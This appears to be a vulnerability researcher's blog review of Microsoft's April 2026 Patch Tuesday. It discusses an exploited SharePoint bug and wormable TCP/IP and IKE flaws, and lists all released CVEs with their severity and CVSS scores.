This month, Microsoft released a monstrous 163 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, SQL Server, Hyper-V Server, BitLocker, and the Windows Wallet Service. Counting the third-party and a huge Chromium release, it brings the total number of CVEs to a staggering 247 updates. Six of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, two are rated as Moderate, and the rest are rated Important in severity.

By my count, this is the second-largest monthly release in Microsoft’s history. There are many things we could speculate on to justify the size, but if Microsoft is like the other programs out there (including ours), they are likely seeing a rise in submissions found by AI tools. For us, our incoming rate has essentially tripled, making triage a challenge, to say the least. Whatever the reason, we have a lot of bugs to deal with this month. I should also point out that the Pwn2Own Berlin occurs next month, and it’s typical for vendors to patch as much as they can before the event.

There is one Microsoft bug listed as under active attack at the time of release, and one other that’s publicly known. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerability being exploited in the wild:

- CVE-2026-32201 - Microsoft SharePoint Server Spoofing Vulnerability
Microsoft doesn’t provide a lot of information about this bug, but Spoofing bugs in SharePoint often manifest as cross-site scripting (XSS) bugs. They do note that attackers could view information or make changes to disclosed information. As always, they don’t provide any information on how widespread these attacks are, but I wouldn’t wait to test and deploy this fix – especially if you have internet-connected SharePoint servers.

- CVE-2026-33825 - Microsoft Defender Elevation of Privilege Vulnerability
This bug is listed as publicly known, and this time, we know exactly where it was disclosed. There have been some questions about how exploitable this bug may be, but it does look like it’s a real problem – just with some reliability issues in its current state. I won’t add on to the commentary from the researcher about working with Microsoft. I’m just glad they are offering a fix for the vulnerability. If you rely on Defender, test and deploy this one quickly.

- CVE-2026-33827 - Windows TCP/IP Remote Code Execution Vulnerability
This vulnerability allows remote, unauthenticated attackers to exploit code on affected systems without user interaction. That adds up to a wormable bug – at least on systems with IPv6 and IPSec enabled. It is a race condition, which sets exploitability to High on the CVSS scale, but we see race conditions exploited at Pwn2Own all the time, so don’t rely on that obstacle. If you’re running IPv6, I would test and deploy this fix quickly before public exploits become available.

- CVE-2026-33824 - Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability
Speaking of wormable bugs, here’s our second one this month. By the title, we can tell that systems with IKE enabled are affected, but that leaves plenty of targets for attackers. Microsoft also notes a significant mitigation for this bug. Blocking UDP ports 500 and 4500 at the perimeter prevents external attackers from reaching the affected service. However, insiders could still target this for lateral movement within an enterprise. For enterprises using IKE, get this fix tested and deployed with haste.

Here’s the full list of CVEs released by Microsoft for April 2026:

April 2026 Patch Tuesday

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-32201	Microsoft SharePoint Server Spoofing Vulnerability	Important	6.5	No	Yes	Spoofing
CVE-2026-5281 *	Chromium: CVE-2026-5281 Use after free in Dawn	High	N/A	No	Yes	RCE
CVE-2026-33825	Microsoft Defender Elevation of Privilege Vulnerability	Important	7.8	Yes	No	EoP
CVE-2026-23666	.NET Framework Denial of Service Vulnerability	Critical	7.5	No	No	DoS
CVE-2026-32190	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-33114	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-33115	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-32157	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-33826	Windows Active Directory Remote Code Execution Vulnerability	Critical	8	No	No	RCE
CVE-2026-33824	Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-33827	Windows TCP/IP Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-26171	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-32226	.NET Framework Denial of Service Vulnerability	Important	5.9	No	No	DoS
CVE-2026-32178	.NET Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2026-32203	.NET and Visual Studio Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-33116	.NET, .NET Framework, and Visual Studio Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2023-20585 *	AMD: CVE-2023-20585 IOMMU Write Buffer Vulnerability	Important	5.3	No	No	RCE
CVE-2026-32072	Active Directory Spoofing Vulnerability	Important	6.2	No	No	Spoofing
CVE-2026-25184	Applocker Filter Driver (applockerfltr.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32171	Azure Logic Apps Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-32168	Azure Monitor Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32192	Azure Monitor Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32181	Connected User Experiences and Telemetry Service Denial of Service Vulnerability	Important	5.5	No	No	DoS
CVE-2026-27924	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32152	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32154	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27923	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32155	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23653	GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability	Important	5.7	No	No	Info
CVE-2026-23653 *	GitHub: CVE-2026-32631 'git clone' from manipulated repositories can leak NTLM hashes	Important	7.4	No	No	Info
CVE-2026-33096	HTTP.sys Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-25250 *	MITRE: CVE-2026-25250 Secure Boot disable Eazy Fix	Important	6	No	No	SFB
CVE-2026-26181	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32219	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32091	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	8.4	No	No	EoP
CVE-2026-26152	Microsoft Cryptographic Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33103	Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32188	Microsoft Excel Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-32189	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32197	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32198	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32199	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32184	Microsoft High Performance Compute (HPC) Pack Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26155	Microsoft Local Security Authority Subsystem Service Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-27914	Microsoft Management Console Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26149	Microsoft Power Apps Security Feature Bypass	Important	9	No	No	SFB
CVE-2026-32200	Microsoft PowerPoint Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26143	Microsoft PowerShell Security Feature Bypass Vulnerability	Important	7.8	No	No	SFB
CVE-2026-33120 †	Microsoft SQL Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-20945	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-33822	Microsoft Word Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-33095	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-23657	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32081	Package Catalog Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26170	PowerShell Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26183	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26160	Remote Desktop Licensing Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26159	Remote Desktop Licensing Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26151	Remote Desktop Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-32085	Remote Procedure Call Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32167	SQL Server Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-32176	SQL Server Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-0390	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	6.7	No	No	SFB
CVE-2026-32220	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	4.4	No	No	SFB
CVE-2026-32212	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32214	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32079	Web Account Manager Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-33104	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32196	Windows Admin Center Spoofing Vulnerability	Important	6.1	No	No	Spoofing
CVE-2026-26178	Windows Advanced Rasterization Platform Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-32073	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26168	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26173	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26177	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26182	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27922	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33099	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33100	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32088	Windows Biometric Service Security Feature Bypass Vulnerability	Important	6.1	No	No	SFB
CVE-2026-27913	Windows BitLocker Security Feature Bypass Vulnerability	Important	7.7	No	No	SFB
CVE-2026-26175	Windows Boot Manager Security Feature Bypass Vulnerability	Important	4.6	No	No	SFB
CVE-2026-32162	Windows COM Elevation of Privilege Vulnerability	Important	8.4	No	No	EoP
CVE-2026-20806	Windows COM Server Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26176	Windows Client Side Caching driver (csc.sys) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27926	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32070	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33098	Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26153	Windows Encrypted File System (EFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32087	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32093	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32086	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32150	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27931	Windows GDI Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-27930	Windows GDI Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32221	Windows Graphics Component Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-27906	Windows Hello Security Feature Bypass Vulnerability	Important	4.4	No	No	SFB
CVE-2026-27928	Windows Hello Security Feature Bypass Vulnerability	Important	8.7	No	No	SFB
CVE-2026-26156	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32149	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-27910	Windows Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27912	Windows Kerberos Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-26179	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26180	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32195	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26163	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32215	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32217	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32218	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26169	Windows Kernel Memory Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-27929	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32071	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-20930	Windows Management Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26162	Windows OLE Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-33101	Windows Print Spooler Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32084	Windows Print Spooler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-27927	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26184	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32069	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32074	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32078	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26167	Windows Push Notifications Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-32158	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32159	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32160	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26172	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-20928	Windows Recovery Environment Security Feature Bypass Vulnerability	Important	4.6	No	No	SFB
CVE-2026-32216	Windows Redirected Drive Buffering System Denial of Service Vulnerability	Important	5.5	No	No	DoS
CVE-2026-27909	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26161	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26174	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32224	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26154	Windows Server Update Service (WSUS) Tampering Vulnerability	Important	7.5	No	No	Tampering
CVE-2026-26165	Windows Shell Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26166	Windows Shell Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27918	Windows Shell Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32151	Windows Shell Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-32225	Windows Shell Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-32202	Windows Shell Spoofing Vulnerability	Important	4.3	No	No	Spoofing
CVE-2026-32082	Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32083	Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32068	Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32183	Windows Snipping Tool Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32089	Windows Speech Brokered Api Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32090	Windows Speech Brokered Api Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32153	Windows Speech Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27907	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32076	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27908	Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27921	Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27915	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27919	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32075	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27916	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27920	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32077	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27925	Windows UPnP Device Host Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-32156	Windows UPnP Device Host Remote Code Execution Vulnerability	Important	7.4	No	No	RCE
CVE-2026-32223	Windows USB Printing Stack (usbprint.sys) Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-32165	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27911	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32163	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32164	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23670	Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability	Important	5.7	No	No	SFB
CVE-2026-27917	Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32080	Windows WalletService Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32222	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21637 *	HackerOne: CVE-2026-21637 TLS PSK/ALPN Callback Exceptions Bypass Error Handlers	Moderate	7.5	No	No	SFB
CVE-2026-33119	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	5.4	No	No	Spoofing
CVE-2026-33829	Windows Snipping Tool Spoofing Vulnerability	Moderate	4.3	No	No	Spoofing
CVE-2026-5858 *	Chromium: CVE-2026-5858 Heap buffer overflow in WebML	Critical	N/A	No	No	RCE
CVE-2026-5859 *	Chromium: CVE-2026-5859 Integer overflow in WebML	Critical	N/A	No	No	RCE
CVE-2026-5272 *	Chromium: CVE-2026-5272 Heap buffer overflow in GPU	High	N/A	No	No	RCE
CVE-2026-5273 *	Chromium: CVE-2026-5273 Use after free in CSS	High	N/A	No	No	RCE
CVE-2026-5274 *	Chromium: CVE-2026-5274 Integer overflow in Codecs	High	N/A	No	No	RCE
CVE-2026-5275 *	Chromium: CVE-2026-5275 Heap buffer overflow in ANGLE	High	N/A	No	No	RCE
CVE-2026-5276 *	Chromium: CVE-2026-5276 Insufficient policy enforcement in WebUSB	High	N/A	No	No	SFB
CVE-2026-5277 *	Chromium: CVE-2026-5277 Integer overflow in ANGLE	High	N/A	No	No	RCE
CVE-2026-5279 *	Chromium: CVE-2026-5279 Object corruption in V8	High	N/A	No	No	RCE
CVE-2026-5280 *	Chromium: CVE-2026-5280 Use after free in WebCodecs	High	N/A	No	No	RCE
CVE-2026-5283 *	Chromium: CVE-2026-5283 Inappropriate implementation in ANGLE	High	N/A	No	No	SFB
CVE-2026-5284 *	Chromium: CVE-2026-5284 Use after free in Dawn	High	N/A	No	No	RCE
CVE-2026-5285 *	Chromium: CVE-2026-5285 Use after free in WebGL	High	N/A	No	No	RCE
CVE-2026-5286 *	Chromium: CVE-2026-5286 Use after free in Dawn	High	N/A	No	No	RCE
CVE-2026-5287 *	Chromium: CVE-2026-5287 Use after free in PDF	High	N/A	No	No	RCE
CVE-2026-5289 *	Chromium: CVE-2026-5289 Use after free in Navigation	High	N/A	No	No	RCE
CVE-2026-5290 *	Chromium: CVE-2026-5290 Use after free in Compositing	High	N/A	No	No	RCE
CVE-2026-5860 *	Chromium: CVE-2026-5860 Use after free in WebRTC	High	N/A	No	No	RCE
CVE-2026-5861 *	Chromium: CVE-2026-5861 Use after free in V8	High	N/A	No	No	RCE
CVE-2026-5862 *	Chromium: CVE-2026-5862 Inappropriate implementation in V8	High	N/A	No	No	SFB
CVE-2026-5863 *	Chromium: CVE-2026-5863 Inappropriate implementation in V8	High	N/A	No	No	SFB
CVE-2026-5864 *	Chromium: CVE-2026-5864 Heap buffer overflow in WebAudio	High	N/A	No	No	RCE
CVE-2026-5865 *	Chromium: CVE-2026-5865 Type Confusion in V8	High	N/A	No	No	RCE
CVE-2026-5866 *	Chromium: CVE-2026-5866 Use after free in Media	High	N/A	No	No	RCE
CVE-2026-5867 *	Chromium: CVE-2026-5867 Heap buffer overflow in WebML	High	N/A	No	No	RCE
CVE-2026-5868 *	Chromium: CVE-2026-5868 Heap buffer overflow in ANGLE	High	N/A	No	No	RCE
CVE-2026-5869 *	Chromium: CVE-2026-5869 Heap buffer overflow in WebML	High	N/A	No	No	RCE
CVE-2026-5870 *	Chromium: CVE-2026-5870 Integer overflow in Skia	High	N/A	No	No	RCE
CVE-2026-5871 *	Chromium: CVE-2026-5871 Type Confusion in V8	High	N/A	No	No	RCE
CVE-2026-5872 *	Chromium: CVE-2026-5872 Use after free in Blink	High	N/A	No	No	RCE
CVE-2026-5873 *	Chromium: CVE-2026-5873 Out of bounds read and write in V8	High	N/A	No	No	RCE
CVE-2026-5291 *	Chromium: CVE-2026-5291 Inappropriate implementation in WebGL	Medium	N/A	No	No	SFB
CVE-2026-5292 *	Chromium: CVE-2026-5292 Out of bounds read in WebCodecs	Medium	N/A	No	No	Info
CVE-2026-5874 *	Chromium: CVE-2026-5874 Use after free in PrivateAI	Medium	N/A	No	No	RCE
CVE-2026-5875 *	Chromium: CVE-2026-5875 Policy bypass in Blink	Medium	N/A	No	No	SFB
CVE-2026-5876 *	Chromium: CVE-2026-5876 Side-channel information leakage in Navigation	Medium	N/A	No	No	Info
CVE-2026-5877 *	Chromium: CVE-2026-5877 Use after free in Navigation	Medium	N/A	No	No	RCE
CVE-2026-5878 *	Chromium: CVE-2026-5878 Incorrect security UI in Blink	Medium	N/A	No	No	Spoofing
CVE-2026-5879 *	Chromium: CVE-2026-5879 Insufficient validation of untrusted input in ANGLE	Medium	N/A	No	No	SFB
CVE-2026-5880 *	Chromium: CVE-2026-5880 Incorrect security UI in browser UI	Medium	N/A	No	No	Spoofing
CVE-2026-5881 *	Chromium: CVE-2026-5881 Policy bypass in LocalNetworkAccess	Medium	N/A	No	No	SFB
CVE-2026-5882 *	Chromium: CVE-2026-5882 Incorrect security UI in Fullscreen	Medium	N/A	No	No	Spoofing
CVE-2026-5883 *	Chromium: CVE-2026-5883 Use after free in Media	Medium	N/A	No	No	RCE
CVE-2026-5884 *	Chromium: CVE-2026-5884 Insufficient validation of untrusted input in Media	Medium	N/A	No	No	SFB
CVE-2026-5885 *	Chromium: CVE-2026-5885 Insufficient validation of untrusted input in WebML	Medium	N/A	No	No	SFB
CVE-2026-5886 *	Chromium: CVE-2026-5886 Out of bounds read in WebAudio	Medium	N/A	No	No	Info
CVE-2026-5887 *	Chromium: CVE-2026-5887 Insufficient validation of untrusted input in Downloads	Medium	N/A	No	No	SFB
CVE-2026-5888 *	Chromium: CVE-2026-5888 Uninitialized Use in WebCodecs	Medium	N/A	No	No	RCE
CVE-2026-5889 *	Chromium: CVE-2026-5889 Cryptographic Flaw in PDFium	Medium	N/A	No	No	SFB
CVE-2026-5890 *	Chromium: CVE-2026-5890 Race in WebCodecs	Medium	N/A	No	No	RCE
CVE-2026-5891 *	Chromium: CVE-2026-5891 Insufficient policy enforcement in browser UI	Medium	N/A	No	No	SFB
CVE-2026-5892 *	Chromium: CVE-2026-5892 Insufficient policy enforcement in PWAs	Medium	N/A	No	No	SFB
CVE-2026-5893 *	Chromium: CVE-2026-5893 Race in V8	Medium	N/A	No	No	RCE
CVE-2026-5894 *	Chromium: CVE-2026-5894 Inappropriate implementation in PDF	Low	N/A	No	No	SFB
CVE-2026-5895 *	Chromium: CVE-2026-5895 Incorrect security UI in Omnibox	Low	N/A	No	No	Spoofing
CVE-2026-5896 *	Chromium: CVE-2026-5896 Policy bypass in Audio	Low	N/A	No	No	SFB
CVE-2026-5897 *	Chromium: CVE-2026-5897 Incorrect security UI in Downloads	Low	N/A	No	No	Spoofing
CVE-2026-5898 *	Chromium: CVE-2026-5898 Incorrect security UI in Omnibox	Low	N/A	No	No	Spoofing
CVE-2026-5899 *	Chromium: CVE-2026-5899 Incorrect security UI in History Navigation	Low	N/A	No	No	Spoofing
CVE-2026-5900 *	Chromium: CVE-2026-5900 Policy bypass in Downloads	Low	N/A	No	No	SFB
CVE-2026-5901 *	Chromium: CVE-2026-5901 Policy bypass in DevTools	Low	N/A	No	No	SFB
CVE-2026-5902 *	Chromium: CVE-2026-5902 Race in Media	Low	N/A	No	No	RCE
CVE-2026-5903 *	Chromium: CVE-2026-5903 Policy bypass in IFrameSandbox	Low	N/A	No	No	SFB
CVE-2026-5904 *	Chromium: CVE-2026-5904 Use after free in V8	Low	N/A	No	No	RCE
CVE-2026-5905 *	Chromium: CVE-2026-5905 Incorrect security UI in Permissions	Low	N/A	No	No	Spoofing
CVE-2026-5906 *	Chromium: CVE-2026-5906 Incorrect security UI in Omnibox	Low	N/A	No	No	Spoofing
CVE-2026-5907 *	Chromium: CVE-2026-5907 Insufficient data validation in Media	Low	N/A	No	No	SFB
CVE-2026-5908 *	Chromium: CVE-2026-5908 Integer overflow in Media	Low	N/A	No	No	RCE
CVE-2026-5909 *	Chromium: CVE-2026-5909 Integer overflow in Media	Low	N/A	No	No	RCE
CVE-2026-5910 *	Chromium: CVE-2026-5910 Integer overflow in Media	Low	N/A	No	No	RCE
CVE-2026-5911 *	Chromium: CVE-2026-5911 Policy bypass in ServiceWorkers	Low	N/A	No	No	SFB
CVE-2026-5912 *	Chromium: CVE-2026-5912 Integer overflow in WebRTC	Low	N/A	No	No	RCE
CVE-2026-5913 *	Chromium: CVE-2026-5913 Out of bounds read in Blink	Low	N/A	No	No	Info
CVE-2026-5914 *	Chromium: CVE-2026-5914 Type Confusion in CSS	Low	N/A	No	No	RCE
CVE-2026-5915 *	Chromium: CVE-2026-5915 Insufficient validation of untrusted input in WebML	Low	N/A	No	No	SFB
CVE-2026-5918 *	Chromium: CVE-2026-5918 Inappropriate implementation in Navigation	Low	N/A	No	No	SFB
CVE-2026-5919 *	Chromium: CVE-2026-5919 Insufficient validation of untrusted input in WebSockets	Low	N/A	No	No	SFB
CVE-2026-33118	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Low	4.3	No	No	Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this month’s release, there are three Office-related bugs where the Preview Pane is once again listed as an exploit vector. I would still like to have a full-proof way of disabling the Preview Pane, but I don’t see that as an option. There’s a bug in the RDP client, but that involves connecting to a malicious RDP server. The bug in Active Directory requires authentication and a network adjacent attacker. The final Critical-rated bug is an interesting DoS in .NET Framework. An unauthenticated attacker could deny service over a network – presumably crippling any affected app made in .NET. You rarely see Critical-rated DoS bugs, but this one deserves the moniker.

Moving on to the other code execution bugs, you have quite a few open-and-own bugs in Office components, most notably Excel, where the Preview Pane is not an attack vector. The bug in SQL Server requires authentication, and as usual, additional steps are needed to ensure you have the correct update to remediate this vulnerability. The two bugs in Hyper-V almost reads like a privilege escalation since it allows unauthorized attackers to execute code locally. That’s the same for the bugs in the Windows Snipping Tool and the UPnP Device host.

